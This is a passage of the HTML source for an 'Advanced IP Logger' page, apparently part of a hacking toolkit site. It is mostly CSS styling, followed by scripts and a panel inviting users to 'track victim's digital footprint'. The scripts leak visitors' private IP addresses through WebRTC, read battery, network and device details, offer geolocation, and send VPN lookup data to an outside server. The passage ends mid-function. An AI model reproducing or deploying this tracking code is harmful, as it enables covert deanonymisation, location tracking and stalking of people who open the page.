<!DOCTYPE html>
<html lang="en">
<head>                                                                                                                     <meta charset="UTF-8">                                                                                                 <meta name="viewport" content="width=device-width, initial-scale=1.0">                                      <title>KALKI</title>                                                                                                          <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css">
    <link href="https://fonts.googleapis.com/css2?familyOrbitron+One&display=swap" rel="stylesheet">
<link href="button.css" rel="stylesheet">
<link href="https://fonts.googleapis.com/css2?family=Press+Start+2P&family=Audiowide&family=Orbitron&display=swap" rel="stylesheet">
    <style>
        @import url('https://fonts.googleapis.com/css2?family=Orbitron:wght@400;500;700&display=swap');
@import url('https://fonts.googleapis.com/css2?family=Chakra+Petch&display=swap');

@import url('https://fonts.googleapis.com/css2?family=Russo+One&display=swap');
   * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;                                                                                 }

        }

        canvas {
            position: fixed;
            top: 0;
            left: 0;                                                                                                               z-index: 1;
            width: 100%;
            height:100%;
        }

        .overlay {
            position: relative;
            z-index: 10;
            display: flex;
            flex-direction: column;
            justify-content: flex-start;
            align-items: center;
            min-height: 100vh;
            text-align: center;
            perspective: 1000px;
            padding: 2rem 1rem;
            overflow-y: auto;
        }

        body {                                                                                                          font-family: 'Courier New', Consolas, Monaco, 'Lucida Console', 'DejaVu Sans Mono', monospace;              background-color: #000;
            color: #00FFFF;                                                                                             padding: 20px;
            text-align: center;
font-family: var(--font-family);
            font-size: 18px;
            min-height: 100vh;
margin-bottom: 120px;
        }


        :root {
            --primary-glow: #00ff9d;                                                                                    --secondary-glow: #00b3ff;
            --alert-glow: #ff0055;
            --text-glow: #00fff2;
--font-family: 'Chakra Petch', sans-serif; /* Define your font here */
            --button-glow: #ff9100;
        }

        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            background: #000813;
            color: #fff;
            font-family: 'Orbitron', 'Chakra Petch';
            min-height: 100vh;

            overflow-x: hidden;
            background: linear-gradient(
                135deg,
                #000813,
                #001233,
                #000813
            );
        }
                                                                                                                    .cyber-grid {
            position: fixed;                                                                                            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            background:
                linear-gradient(90deg, rgba(0, 255, 255, 0.03) 1px, transparent 1px) 0 0 / 20px 20px,
                linear-gradient(0deg, rgba(0, 255, 255, 0.03) 1px, transparent 1px) 0 0 / 20px 20px;
            pointer-events: none;
        }

        .container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 20px;
            position: relative;
            z-index: 1;
        }


h1 {
    font-size: 6.5rem;
    text-align: center;
    margin: 60px 0;
    color: var(--text-glow);
    text-shadow: 0 0 10px var(--text-glow),
                 0 0 20px var(--text-glow),
                 0 0 30px var(--text-glow);
    animation: textPulse 2s infinite;

    /* Add this line for a transparent black background */
    background-color: rgba(0, 0, 0, 0.5); /* Adjust the last number for transparency */
    padding: 10px; /* Optional: Add padding for better spacing */
    border-radius: 5px; /* Optional: Add rounded corners */
}
        @keyframes textPulse {
            0%, 100% { opacity: 1; }
            50% { opacity: 0.7; }
        }

        .button-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
            gap: 25px;
            margin: 40px 0;
        }

        .cyber-button {
            position: relative;
            padding: 10px 10px;
            background: rgba(0, 0, 0, 0.8);
            border: none;
            color: var(--button-glow);
            font-family: 'Orbitron', 'Chakra Petch';
            font-size: 1em;
            text-transform: uppercase;
            letter-spacing: 2px;
            cursor: pointer;
            overflow: hidden;
            transition: all 0.3s ease;
            border: 1px solid var(--button-glow);
            box-shadow: 0 0 15px var(--button-glow),
                       inset 0 0 15px var(--button-glow);
            text-shadow: 0 0 5px var(--button-glow);                                                                }

        .cyber-button::before {
            content: '';
            position: absolute;
            top: -2px;
            left: -2px;
            right: -2px;
            bottom: -2px;
            background: linear-gradient(45deg,
                var(--button-glow),
                transparent,
                var(--button-glow));
            z-index: -1;
            animation: borderGlow 3s linear infinite;
        }

        .cyber-button::after {
            content: '';
            position: absolute;
            top: 0;
            left: -100%;                                                                                                width: 100%;
            height: 100%;
            background: linear-gradient(                                                                                    90deg,
                transparent,
                rgba(255, 255, 255, 0.2),
                transparent
            );
            transition: 0.5s;
        }

        .cyber-button:hover {
            transform: scale(1.05);
            color: #fff;
            box-shadow: 0 0 30px var(--button-glow),
                       inset 0 0 30px var(--button-glow);
        }

        .cyber-button:hover::after {
            left: 100%;
        }

        @keyframes borderGlow {
            0% { filter: hue-rotate(0deg); }                                                                            100% { filter: hue-rotate(360deg); }
        }

        #batteryStatus {
            background: rgba(0, 0, 0, 0.8);
            padding: 30px;
            border-radius: 10px;
            margin: 20px auto;
            max-width: 350px;
            position: relative;
            border: 1px solid var(--primary-glow);
            box-shadow: 0 0 20px var(--primary-glow),
                       inset 0 0 20px var(--primary-glow);
            animation: glowPulse 2s infinite;
        }

        @keyframes glowPulse {
            0%, 100% { box-shadow: 0 0 20px var(--primary-glow),
                                 inset 0 0 20px var(--primary-glow); }
            50% { box-shadow: 0 0 30px var(--primary-glow),
                            inset 0 0 30px var(--primary-glow); }
        }

        .battery-container {
            position: relative;
            width: 100px;
            height: 50px;
            margin: 0 auto;
            padding: 5px;
            background: rgba(0, 0, 0, 0.5);
            border-radius: 5px;
            overflow: hidden;
        }

        .battery-outline {
            width: 100%;
            height: 100%;
            border: 2px solid var(--primary-glow);
            border-radius: 3px;
            position: relative;
            overflow: hidden;
            box-shadow: 0 0 10px var(--primary-glow);
        }

        .battery-level {
            position: absolute;
            left: 0;
            top: 0;
            height: 100%;
            background: linear-gradient(90deg,
                var(--primary-glow),
                var(--secondary-glow));
            transition: width 1s ease;
            box-shadow: 0 0 20px var(--primary-glow);
            animation: chargingAnimation 2s infinite;
        }

        @keyframes chargingAnimation {
            0%, 100% { opacity: 1; }
            50% { opacity: 0.7; }
        }

        .battery-cap {
            position: absolute;                                                                                                    right: -8px;
            top: 50%;
            transform: translateY(-50%);                                                                                           width: 8px;
            height: 20px;
            background: var(--primary-glow);
            border-radius: 0 3px 3px 0;
            box-shadow: 0 0 10px var(--primary-glow);
        }

        .battery-status {
            text-align: center;
            margin-top: 20px;                                                                                                      color: var(--text-glow);
            text-shadow: 0 0 10px var(--text-glow);
            font-size: 1.2em;
        }

        .output-panel {
            background: rgba(0, 0, 0, 0.8);
            border: 1px solid var(--secondary-glow);
            border-radius: 10px;
            padding: 20px;
            margin: 20px 0;
            position: relative;
            box-shadow: 0 0 15px var(--secondary-glow),
                       inset 0 0 15px var(--secondary-glow);
        }

        .output-panel::before {
            content: '';
            position: absolute;
            top: 0;
            left: 0;
            right: 0;
            height: 2px;
            background: linear-gradient(90deg,
                transparent,
                var(--secondary-glow),
                transparent);
            animation: scanline 2s linear infinite;
        }

        @keyframes scanline {
            0% { transform: translateX(-100%); }
            100% { transform: translateX(100%); }
        }

        .data-row {
            display: flex;
            justify-content: space-between;
            padding: 10px;
            border-bottom: 1px solid rgba(0, 255, 242, 0.2);
            color: var(--text-glow);
            text-shadow: 0 0 5px var(--text-glow);
        }

        .data-label {
            color: var(--secondary-glow);
            text-shadow: 0 0 5px var(--secondary-glow);
        }

        #output, #result {
            animation: fadeIn 0.5s ease-out;
        }

        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(20px); }
            to { opacity: 1; transform: translateY(0); }
        }


        /* Enhanced Scrollbar */
        ::-webkit-scrollbar {
            width: 12px;
            background: #000813;
        }

        ::-webkit-scrollbar-thumb {
            background: var(--secondary-glow);
            border-radius: 6px;
            box-shadow: 0 0 10px var(--secondary-glow);
        }

        ::-webkit-scrollbar-thumb:hover {
            background: var(--primary-glow);
            box-shadow: 0 0 15px var(--primary-glow);
        }

    /* Fullscreen iframe background */
        .background {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: -1;
            border: none;

}

        .container {                                                                                                   
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 15px;
        }

h1 {
    background-color: rgba(0, 0, 0, 0.7); /* Black with 70% transparency */
    color: #00FF00; /* Bright green text color */
    padding: 15px;
    border-radius: 8px;
    margin-bottom: 20px;
    font-size: 3.5em;
    text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.3);
}

.response-container {
    background: rgba(0, 0, 0, 0.8);
    border: 1px solid var(--secondary-glow);
    border-radius: 10px;
    margin: 20px 0;
font-family: var(--font-family);                                                                                           position: relative;
    overflow: hidden;
    box-shadow: 0 0 15px var(--secondary-glow),
                inset 0 0 15px var(--secondary-glow);
    animation: containerPulse 3s infinite;
}

.response-header {
    background: rgba(51, 51, 51, 0.8);
    padding: 15px;
    display: flex;
    justify-content: space-between;
    align-items: center;
    border-bottom: 1px solid var(--secondary-glow);
    position: relative;
    overflow: hidden;
}

.response-header::before {
    content: '';
    position: absolute;
    top: 0;
    left: -100%;
    width: 100%;
    height: 100%;
    background: linear-gradient(
        90deg,
        transparent,
        rgba(0, 179, 255, 0.2),
        transparent
    );
    animation: scanEffect 3s linear infinite;
}

#output, #result, #data-container {
    padding: 20px;
    text-align: left;
    white-space: pre-wrap;
    word-wrap: break-word;
    font-size: 17px;
font-family: var(--font-family);
    color: var(--text-glow);

    position: relative;
    z-index: 1;
}

.close-btn {
    width: 30px;
    height: 30px;
    background: transparent;
    color: var(--text-glow);
    border: none;
    cursor: pointer;
    font-size: 18px;
    position: absolute;
    top: 10px;
    right: 10px;
    text-shadow: 0 0 5px var(--text-glow);
    transition: all 0.3s ease;
}

.close-btn:hover {
    color: var(--alert-glow);
    text-shadow: 0 0 10px var(--alert-glow);
    transform: scale(1.1);
}

@keyframes containerPulse {
    0%, 100% {
        box-shadow: 0 0 15px var(--secondary-glow),
                    inset 0 0 15px var(--secondary-glow);
    }
    50% {
        box-shadow: 0 0 25px var(--secondary-glow),
                    inset 0 0 25px var(--secondary-glow);
    }
}

@keyframes scanEffect {
    0% { left: -100%; }
    100% { left: 100%; }
}

/* Add holographic grid effect to container background */
.response-container::after {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    background:
        linear-gradient(90deg, rgba(0, 179, 255, 0.03) 1px, transparent 1px) 0 0 / 20px 20px,
        linear-gradient(0deg, rgba(0, 179, 255, 0.03) 1px, transparent 1px) 0 0 / 20px 20px;
    pointer-events: none;
    z-index: 0;
}
        #result {
            color: yellow; /* Fetch VPN response color */

        }

        #output {                                                                                                                  color: white; /* Fetch Details output color */
        }

        .button-container {

            display: flex;                                                                                                         justify-content: center;
            gap: 15px;
            flex-wrap: wrap;
            margin: 20px 0;
        }

        button {
            background-color: #007bff;
            color: #00FFFF;
            padding: 12px 24px;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            font-size: 14px;
            transition: all 0.3s ease;
            min-width: 150px;
            outline: none; /* Remove outline */
        }

        button:hover {
            background-color: #0056b3;
            transform: translateY(-2px);
        }

button:focus {outline: none; /* Ensure no outline on focus */
}
        .datetime-container {
            background-color: #333;
            padding: 10px;
            border-radius: 5px;
            margin: 15px 0;
            display: inline-block;
        }

        img {
            max-width: 100%;
            height: auto;                                                                                                          margin: 20px auto;                                                                                                     border-radius: 8px;
            box-shadow: 0 0 10px rgba(0, 255, 255, 0.3);                                                            }
        .footer {
            margin-top: 30px;
            padding: 20px;
            border-top: 1px solid #444;
        }

        .footer a {
            color: #00FFFF;
            text-decoration: none;                                                                                      margin: 0 10px;                                                                                                               }
                                                                                                                    .footer a:hover {
            color: #007bff;
        }

        /* Battery and Geolocation Styles */                                                                        #batteryStatus {
            display: none;
            flex-direction: column;
            align-items: center;
            font-size: 18px;
            background-color: #333;                                                                                     padding: 20px;
            border-radius: 10px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);
            margin-top: 10px;
        }

        .battery-icon {
            width: 50px;
            height: 25px;
            border: 2px solid #00ff00;
            border-radius: 4px;
            position: relative;
            margin-bottom: 10px;                                                                                    }
                                                                                                                    .battery-icon::before {                                                                                                               content: '';
            width: 6px;                                                                                                            height: 12px;
            background: #00ff00;
            position: absolute;
            top: 50%;
            right: -8px;
            transform: translateY(-50%);                                                                                border-radius: 2px;
        }

        .battery-level {
            height: 100%;
            background: linear-gradient(to right, #00ff00, #ff0000);
            border-radius: 2px;
        }

        .battery-text {
            font-size: 24px;
            font-weight: bold;
        }

        .charging-status, .battery-info {
            font-size: 16px;
            margin-top: 10px;
        }

        #map {
            height: 400px;
            width: 100%;
            max-width: 600px;
            border: 2px solid #00ff00;
            border-radius: 10px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);                                                                    margin-top: 10px;
        }
        #locationInfo {
            font-size: 18px;
            text-align: center;
            margin-top: 10px;
        }

        .keyword { color: #00FF00; }
        .string { color: #FFA500; }
        .comment { color: #00FFFF; }

        @media (max-width: 768px) {
            body { padding: 10px; }
            button { width: 100%; }
            .button-container { flex-direction: column; }
        }
footer {
            width: 100%;
            display: flex;
            justify-content: center;
            align-items: center;
            position: fixed;
            bottom: 0;
            background-color: transparent; /* or any color you want */
        }

        .social-container {
            display: flex;
            justify-content: center;
            align-items: center;
            gap: 20px;
            padding: 20px;
        }

        .social-icon {
            width: 50px;
            height: 50px;
            border-radius: 50%;
            display: flex;
            justify-content: center;
            align-items: center;
            text-decoration: none;
            color: white;
            transition: all 0.3s ease;
            position: relative;
            overflow: hidden;
        }

        .social-icon:before {
            content: '';
            position: absolute;
            width: 120%;                                                                                                           height: 120%;
            transform: rotate(45deg) translate(-100%, -100%);
            background: rgba(255, 255, 255, 0.2);                                                                                  transition: all 0.3s ease;
        }

        .social-icon:hover:before {
            transform: rotate(45deg) translate(-20%, -20%);
        }

        .social-icon:hover {
            transform: translateY(-5px);
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.3);
        }

        .github {
            background: #333;
        }

        .telegram {
            background: #0088cc;
        }

        .discord {                                                                                                                 background: #7289DA;
        }

        .home {
            background: #4CAF50;
        }

        .social-icon i {
            font-size: 24px;
        }

        @keyframes bounce {
            0%, 100% { transform: translateY(0); }
            50% { transform: translateY(-5px); }
        }

        .social-icon:hover i {
            animation: bounce 0.8s infinite;
        }

        .container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 15px;
            position: relative;
        }

        .holographic-title {
            font-family: 'Russo One', sans-serif;
            font-size: 3em;
            letter-spacing: 10px;
            text-transform: uppercase;
            background: linear-gradient(
                to right,
                #00FF41,
                #00BFFF,
                #1E90FF
            );
            background-clip: text;
            -webkit-background-clip: text;
            color: transparent;
            text-shadow:
                0 0 10px rgba(0, 255, 65, 0.5),
                0 0 20px rgba(0, 191, 255, 0.3),
                0 0 30px rgba(30, 144, 255, 0.2);
            animation: system-initialize 3s infinite;
            margin: 60px 0 20px 0;
            width: 100%;
            text-align: center;
        }

        @keyframes system-initialize {
            0%, 100% {
                transform: scale(1) rotateX(0deg);
                opacity: 1;
            }
            50% {
                transform: scale(1.05) rotateX(10deg);
                opacity: 0.8;
            }
        }


        @keyframes scan-line {
            0% {
                top: -100%;
                opacity: 0;
            }
            50% {
                opacity: 0.7;
            }
            100% {
                top: 110%;
                opacity: 0;
            }
        }

        .content {
            margin-top: 100px;
            width: 100%;
        }

        img {
            max-width: 100%;
            height: auto;
            margin-top: 20px;
        }

        @media (max-width: 768px) {
            .holographic-title {
                font-size: 4rem;
                letter-spacing: 5px;
            }
        }

        @media (max-width: 480px) {
            .holographic-title {
                font-size: 1rem;
                letter-spacing: 3px;
            }
        }
  .github-button {
            transition: all 0.5s ease-in-out;
            background: linear-gradient(45deg, rgba(34, 211, 238, 0.2), rgba(168, 85, 247, 0.2), rgba(34, 211, 238, 0.2));
            border: 1px solid rgba(34, 211, 238, 0.3);
            display: inline-block;
            text-decoration: none;
font-size: 1.25rem
        }

        .github-button:hover {
            transform: scale(1.05);
            box-shadow: 0 0 20px rgba(34, 211, 238, 0.3), inset 0 0 20px rgba(34, 211, 238, 0.2);
        }

        .cyber-font-mono {
            font-family: 'Share Tech Mono', monospace;
        }

        .text-gradient {
            background: linear-gradient(to right, cyan, purple);
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
        }

        .holographic-container {
            display: flex;
            gap: 20px;
        }

        .holographic-btn {
            position: relative;
            padding: 15px 30px;
            font-size: 16px;
            color: #ffffff;
            text-transform: uppercase;
            text-decoration: none;
            letter-spacing: 2px;
            border: 2px solid transparent;
            border-radius: 50px;
            background: linear-gradient(45deg, #ff00ff, #00ffff);
            background-clip: padding-box;
            box-shadow:
                0 0 10px rgba(255,0,255,0.5),
                0 0 20px rgba(0,255,255,0.5),
                inset 0 0 15px rgba(255,255,255,0.2);
            overflow: hidden;
            cursor: pointer;
            transition: all 0.3s ease;
        }

        .holographic-btn::before {
            content: '';
            position: absolute;
            top: -50%;
            left: -50%;
            width: 200%;
            height: 200%;
            background: radial-gradient(
                circle at center,
                rgba(255,255,255,0.3) 0%,
                rgba(255,255,255,0) 70%
            );
            transform: rotate(-45deg);
            opacity: 0;
            transition: all 0.5s ease;
        }

        .holographic-btn:hover::before {
            opacity: 1;
        }

        .holographic-btn::after {
            content: '';
            position: absolute;
            bottom: -100%;
            left: 0;
            width: 100%;
            height: 100%;
            background: linear-gradient(
                transparent,
                rgba(255,255,255,0.2)
            );
            transform: translateY(100%);
            transition: transform 0.3s ease;
        }

        .holographic-btn:hover::after {
            transform: translateY(-100%);
        }

        .holographic-btn:hover {
            transform: scale(1.05);
            box-shadow:
                0 0 15px rgba(255,0,255,0.7),
                0 0 25px rgba(0,255,255,0.7),
                inset 0 0 20px rgba(255,255,255,0.3);
        }

        .holographic-btn .icon {
            margin-right: 10px;
            filter: drop-shadow(0 0 5px rgba(255,255,255,0.5));
        }

        .btn-deploy {
            background: linear-gradient(45deg, #6a11cb 0%, #2575fc 100%);
        }

        .btn-star {
            background: linear-gradient(45deg, #ff6a00 0%, #ee0979 100%);
        }

        .matrix-footer {
            position: fixed;
            bottom: 0;
            left: 0;
            width: 100%;
            background-color: rgba(0, 0, 0, 0.7);
            color: #4ade80;                                                                                                        text-align: center;
            padding: 0.5rem 0;
            box-shadow: 0 -2px 10px rgba(0, 0, 0, 0.5);
            letter-spacing: 0.05em;
            z-index: 9999; /* This ensures the footer appears above other elements */                                          }

        .footer-content {
            animation: pulse-slow 3s ease-in-out infinite;
        }

        .footer-line {
            position: absolute;
            left: 0;
            right: 0;
            bottom: 0;
            height: 2px;
            background-color: #22c55e;
            opacity: 0.5;
            filter: blur(1px);
            animation: flicker 0.1s linear infinite;
        }

        @keyframes pulse-slow {
            0%, 100% { opacity: 0.7; }
            50% { opacity: 0.9; }
        }

        @keyframes flicker {
            0%, 19%, 21%, 23%, 25%, 54%, 56%, 100% { opacity: 0.7; }
            20%, 24%, 55% { opacity: 0.3; }
        }

        .cybernetic-container {
            max-width: 500px;
            margin: 0 auto;
            padding: 30px;
            perspective: 1000px;
            background: rgba(10, 25, 47, 0.9);
            border: 2px solid var(--primary-color);
            box-shadow:
                0 0 10px rgba(0, 255, 209, 0.3),                                                                                       0 0 20px rgba(0, 255, 209, 0.2),                                                                                       0 0 40px rgba(0, 255, 209, 0.1);
            border-radius: 15px;                                                                                               }

        .footprint-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(50px, 1fr));
            gap: 30px;
        }

        .footprint-card {
            background: rgba(15, 30, 60, 0.8);
            border: 2px solid var(--primary-color);                                                                                border-radius: 15px;
            padding: 25px;
            text-align: center;
            transition: all 0.3s ease;
            transform-style: preserve-3d;
            position: relative;
            overflow: hidden;
        }

        .footprint-card::before {
            content: '';
            position: absolute;
            top: -50%;
            left: -50%;
            width: 200%;
            height: 200%;
            background: repeating-linear-gradient(
                0deg,
                transparent,
                transparent 10px,
                rgba(0, 255, 209, 0.05) 10px,
                rgba(0, 255, 209, 0.05) 20px
            );
            animation: rotate 20s linear infinite;
            z-index: 0;
        }

        @keyframes rotate {                                                                                                        100% {
                transform: rotate(360deg);                                                                                         }
        }

      .tracker-container {
            border: 2px solid #00ff41;
            border-radius: 10px;
            padding: 20px;
            width: 300px;
            height: 300px;
            background-color: rgba(0, 0, 0, 0.8);
            box-shadow: 0 0 15px #00ff41;
        }
        .data-line {
            margin-bottom: 10px;
            position: relative;
        }
        .data-line::before {
            content: '>';
            color: #00ff41;
            margin-right: 10px;
        }
        .progress-bar {
            height: 10px;
            background-color: #002b03;
            border-radius: 5px;
            overflow: hidden;
        }
        .progress-bar-fill {
            height: 100%;
            background-color: #00ff41;
            transition: width 0.5s ease;
        }
        .access-button {
            background-color: #00ff41;
            color: #0a0a1a;
            border: none;
            padding: 10px 20px;
            margin-top: 15px;
            cursor: pointer;
            font-family: 'Courier New', monospace;                                                                                 font-weight: bold;
            text-transform: uppercase;
            transition: all 0.3s ease;                                                                                         }
        .access-button:hover {
            background-color: #00b033;
            transform: scale(1.05);
        }
.digital-footprint {
            background-color: rgba(0, 255, 65, 0.1);
            border: 1px solid #00ff41;
            padding: 10px;
            margin-top: 15px;                                                                                                      font-size: 0.8em;
        }

    </style>
</head>

<iframe src="matrix.html" class="background" scrolling="yes"></iframe>
<a href="https://kalkikrivadna.com/cyberkalkitoolsob.html" class="back-button">BACK TO TOOLKIT</a>
<div class="container">
            <div class="content">
               <h1 class="holographic-title" style="font-size: 36px;">ADVANCED IP <br> LOGGER BY KALKI</h1>

            </div>
        </div>                                                                                                         <style>
    .datetime-container {
        background-color: rgba(0, 0, 0, 0.7); /* Black with 70% opacity */
        padding: 10px; /* Optional: add some padding for better spacing */
        border-radius: 5px; /* Optional: add rounded corners */
        color: white; /* Optional: change text color for better contrast */
    }
</style>

<div class="datetime-container">
    <p>Date/Time: <span id="datetime"></span></p>
</div>

            <div class="button-container">
<div style="display: flex; align-items: center; justify-content: center;">
    <button id="fetch-button" class="cyber-button" style="width: 360px; height: 50px; font-size: 16px; align-items: center;">Fetch Details</button>
</div>
</div>
  <div class="button-container">
<div style="display: flex; align-items: center; justify-content: center;">
  <button id="fetchButton" class="cyber-button" onclick="fetchVPNData()"
          style="width: 360px; height: 50px; font-size: 16px;">
    CHECK VPN
  </button>
</div>
</div>

    <div class="button-container">
<div style="display: flex; align-items: center; justify-content: center;">
  <button class="cyber-button" onclick="getBatteryStatus()"
          style="width: 360px; height: 50px; font-size: 16px;">
    BATTERY STATUS
  </button>
</div>
</div>
    <div class="button-container">
<div style="display: flex; align-items: center; justify-content: center;">
  <button id="geoButton" class="cyber-button" onclick="fetchGeolocation()"
          style="width: 360px; height: 50px; font-size: 16px;">
    Fetch Geolocation
  </button>
</div>
</div>
                                                                                                                       

<div id="output-container" class="response-container" style="display: none;">
    <div class="response-header">
        <span>Details Output</span>
        <button class="close-btn" onclick="document.getElementById('output-container').style.display='none'">×</button>
    </div>
    <div id="output"></div>
</div>

<div id="vpn-container" class="response-container" style="display: none;">
    <div class="response-header">
        <span>VPN Data</span>
        <button class="close-btn" onclick="document.getElementById('vpn-container').style.display='none'">×</button>       </div>
    <pre id="result"></pre>
</div>

<div class="holographic-container" style="display: flex; justify-content: center; align-items: center;">
    <a href="https://github.com/krivadna/GrabifyIploggerwithvpnandlocation" class="holographic-btn btn-star" style="text-decoration: none; display: inline-flex; align-items: center; padding: 10px 20px; background-color: #6200ea; color: #fff; border-radius: 5px; font-weight: bold; font-size: 16px;">
        <svg class="icon" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" style="margin-right: 8px;">
            <polygon points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91" />
        </svg>
        DEPLOY STAR ON GITHUB
    </a>
</div>
<div id="batteryStatus" style="display: none;">
    <button class="close-btn" onclick="document.getElementById('batteryStatus').style.display='none'">×</button>
    <div class="battery-container">
        <div class="battery-outline">
            <div class="battery-level"></div>
            <div class="battery-cap"></div>
        </div>
    </div>

<div class="battery-status">
        <span class="battery-percentage">100%</span>
        <div class="charging-status">POWER CONNECTED</div>
    </div>
</div>
<div class="tracker-container" style="margin: 100px auto; display: flex; flex-direction: column; justify-content: center; align-items: center; text-align: center;">

<div class="digital-footprint">
        TRACK VICTIM'S DIGITAL FOOTPRINT :
       </div>

<div class="data-line" style="margin-top: 20px;">
        IP Trace: 192.168.xx.xx
        <div class="progress-bar">
            <div class="progress-bar-fill" style="width: 75%"></div>
        </div>
    </div>
    <div class="data-line">
        Digital Footprint: 87%
        <div class="progress-bar">
            <div class="progress-bar-fill" style="width: 87%"></div>
        </div>
    </div>
    <div class="data-line">
        Network Nodes: 42/64
        <div class="progress-bar">
            <div class="progress-bar-fill" style="width: 65%"></div>
        </div>
    </div>

<a href="https://sub1.kalkikrivadna.com:3000/" target="_blank" style="text-decoration: none;">
<button class="access-button">ACCESS TOOL</button>
 </a>
</div>
<footer class="matrix-footer">
        <div class="footer-content">
            © 2024 Cyber Kalki Matrix Tools | Prepare for Next Level of Digital Defense
        </div>
        <div class="footer-line"></div>
    </footer>

    <script>

function updateDateTime() {
            const now = new Date(); // Get current date and time
            const options = {
                year: 'numeric',
                month: 'long',
                day: 'numeric',
                hour: '2-digit',
                minute: '2-digit',
                second: '2-digit',
                hour12: true,
                timeZoneName: 'short' // Optional, shows timezone
            };
            const formattedDateTime = now.toLocaleString(undefined, options); // Format date/time based on user locale
            document.getElementById("datetime").innerHTML = formattedDateTime; // Update the HTML content
        }

        // Update date/time every second
        setInterval(updateDateTime, 1000);
        updateDateTime(); // Initial call to display immediately
        async function getBatteryStatus() {
            try {
                const battery = await navigator.getBattery();
                const batteryStatus = document.getElementById('batteryStatus');
                const batteryLevel = batteryStatus.querySelector('.battery-level');
                const percentage = batteryStatus.querySelector('.battery-percentage');
                const chargingStatus = batteryStatus.querySelector('.charging-status');

                batteryStatus.style.display = 'block';
                batteryLevel.style.width = `${battery.level * 100}%`;
                percentage.textContent = `${Math.round(battery.level * 100)}%`;
                chargingStatus.textContent = battery.charging ? 'POWER CONNECTED' : 'ON BATTERY';

                battery.addEventListener('levelchange', () => {
                    batteryLevel.style.width = `${battery.level * 100}%`;
                    percentage.textContent = `${Math.round(battery.level * 100)}%`;
                });

                battery.addEventListener('chargingchange', () => {
                    chargingStatus.textContent = battery.charging ? 'POWER CONNECTED' : 'ON BATTERY';
                });
            } catch (error) {
                console.error('Battery status not supported');
            }
        }

        // Date Time Display
        const datetimeElement = document.getElementById('datetime');
        displayDateTime();

        function displayDateTime() {
            const dt = new Date();
            datetimeElement.innerHTML = dt.toLocaleString();
        }

        // Fetch VPN Data
        async function fetchVPNData() {
           const response = await fetch('https://sub1.kalkikrivadna.com');
           if (response.ok) {
               const data = await response.json();                                                                         document.getElementById('result').innerText = JSON.stringify(data, null, 4);
               document.getElementById('vpn-container').style.display = 'block';
document.getElementById('vpn-container').style.fontFamily = 'Chakra Petch';
               // Send VPN data to the server
               await sendDataToServer({ vpnDetails: data });
           }
        }

// Gather Network Information

async function gatherWebRTCInfo() {
    const outputElement = document.getElementById('output');
    outputElement.innerHTML = 'Gathering info... Please wait.\n';
    document.getElementById('output-container').style.display = 'block';

    // Set to keep track of displayed IPs
    const displayedIPs = new Set();

    const pc = new RTCPeerConnection({
        iceServers: [{ urls: 'stun:stun.l.google.com:19302' }]
    });

    pc.onicecandidate = (event) => {
        if (event.candidate) {
            const ipRegex = /([0-9]{1,3}\.){3}[0-9]{1,3}/g;
            const match = ipRegex.exec(event.candidate.candidate);

            if (match) {
                const ip = match[0];
                if (isPrivateIP(ip) && !displayedIPs.has(ip)) {
                    displayedIPs.add(ip);
                    outputElement.innerHTML += `<span class='keyword'>Private IP Address:</span> ${ip}\n`;
                }
            }
        }
    };

    pc.createDataChannel('dummyChannel');
    const offer = await pc.createOffer();
    await pc.setLocalDescription(offer);
    setTimeout(() => {
        pc.close();
        gatherDeviceInfo();
    }, 3000);
}

/**
 * Checks if an IP address is private according to RFC 1918
 * @param {string} ip - The IP address to check
 * @returns {boolean} - Returns true if IP is private, false otherwise
 */
function isPrivateIP(ip) {
    // Input validation
    if (!ip || typeof ip !== 'string') {
        return false;
    }

    // Split IP address into octets
    const octets = ip.split('.');

    // Basic IP format validation
    if (octets.length !== 4) {
        return false;
    }

    // Validate each octet is a number between 0 and 255
    for (const octet of octets) {
        const num = parseInt(octet, 10);
        if (isNaN(num) || num < 0 || num > 255 || octet !== num.toString()) {
            return false;
        }
    }

    // Check for private IP ranges (RFC 1918)
    const firstOctet = parseInt(octets[0], 10);
    const secondOctet = parseInt(octets[1], 10);

    return (
        // 10.0.0.0 - 10.255.255.255
        firstOctet === 10 ||
        // 192.168.0.0 - 192.168.255.255
        (firstOctet === 192 && secondOctet === 168) ||
        // 172.16.0.0 - 172.31.255.255
        (firstOctet === 172 && secondOctet >= 16 && secondOctet <= 31)
    );
}


// First, add all the network detection functions before your main gatherDeviceInfo function

function detectNetworkType() {
    const connection = navigator.connection ||
                      navigator.mozConnection ||
                      navigator.webkitConnection ||
                      null;

    if (!connection) {
        return {
            type: 'Unknown',
            generation: 'Unknown',
            details: null
        };
    }

    const networkInfo = {
        type: connection.type || 'Unknown',
        generation: 'Unknown',
        details: {
            downlink: connection.downlink || 0,
            rtt: connection.rtt || 0,
            effectiveType: connection.effectiveType || 'Unknown',
            saveData: connection.saveData || false,
            timestamp: new Date().toISOString()
        }
    };

    // Determine if it's WiFi or Cellular
    if (connection.type === 'wifi') {
        networkInfo.generation = detectWiFiGeneration(connection);
    } else if (connection.type === 'cellular') {
        networkInfo.generation = detectMobileGeneration(connection);
    }

    return networkInfo;
}
function detectDeviceType() {
    const userAgent = navigator.userAgent;

    if (/mobile/i.test(userAgent)) {
        return 'Mobile';
    } else if (/tablet/i.test(userAgent)) {
        return 'Tablet';
